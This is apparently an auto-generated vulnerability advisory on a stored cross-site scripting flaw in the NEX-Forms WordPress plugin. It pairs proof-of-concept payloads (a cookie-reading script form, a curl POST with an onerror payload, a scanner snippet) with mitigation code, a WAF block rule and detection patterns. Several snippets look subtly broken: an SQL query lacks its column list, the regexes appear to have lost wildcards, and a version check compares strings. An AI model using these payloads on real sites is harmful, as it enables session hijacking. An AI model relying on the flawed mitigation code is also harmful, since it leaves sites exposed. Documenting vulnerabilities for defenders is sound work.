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How CVE-2025-3468 Works
The NEX-Forms WordPress plugin (≤ v8.9.1) fails to sanitize user-supplied input in the `clean_html` and `form_fields` parameters, allowing authenticated attackers with Custom-level access to inject malicious JavaScript payloads. When these payloads are stored in the database and rendered on frontend pages, arbitrary script execution occurs in victims’ browsers. This stored XSS vulnerability enables session hijacking, defacement, or malware delivery. The attack triggers when admin-approved forms containing the injected code are viewed by users.
DailyCVE Form
Platform: WordPress
Version: ≤8.9.1
Vulnerability: Stored XSS
Severity: Critical
Date: 06/04/2025
Prediction: Patch by 07/15/2025
What Undercode Say:
Exploitation Commands
1. Craft malicious form submission:
<form action="/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="nex_forms_save"> <textarea name="form_fields"><script>alert(document.cookie)</script></textarea> </form>
2. Verify vulnerability with curl:
curl -X POST --cookie "wordpress_logged_in=1" --data "action=nex_forms_save&form_fields=<img src=x onerror=alert(1)>" http://victimsite.com/wp-admin/admin-ajax.php
Mitigation Steps
1. Temporary fix: Add input validation via `functions.php`:
add_filter('nex_forms_pre_save', function($fields) {
return wp_kses_post($fields);
});
2. WAF rule to block exploits:
location ~ wp-content/plugins/nex-forms {
set $block_xss 0;
if ($args ~ "clean_html|form_fields.<script") {
set $block_xss 1;
}
if ($block_xss = 1) { return 403; }
}
3. Detection via WordPress CLI:
wp plugin list --field=version | grep 'nex-forms' | awk '$1 <= "8.9.1" {print "VULNERABLE"}'
4. Patch verification: After update, audit database for injected payloads:
SELECT FROM wp_postmeta WHERE meta_key LIKE '%nex_forms%' AND meta_value REGEXP '<script|onerror';
5. Log monitoring alert:
tail -f /var/log/nginx/access.log | grep -E 'POST.nex_forms_save.(script|onload)='
6. Automated scanner check:
import requests
response = requests.post(target_url, data={"form_fields": "<svg/onload=confirm(1)>"}, cookies=auth_cookie)
if "<svg" in response.text: print("Vulnerable")
7. Disable plugin temporarily:
wp plugin deactivate nex-forms --allow-root
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
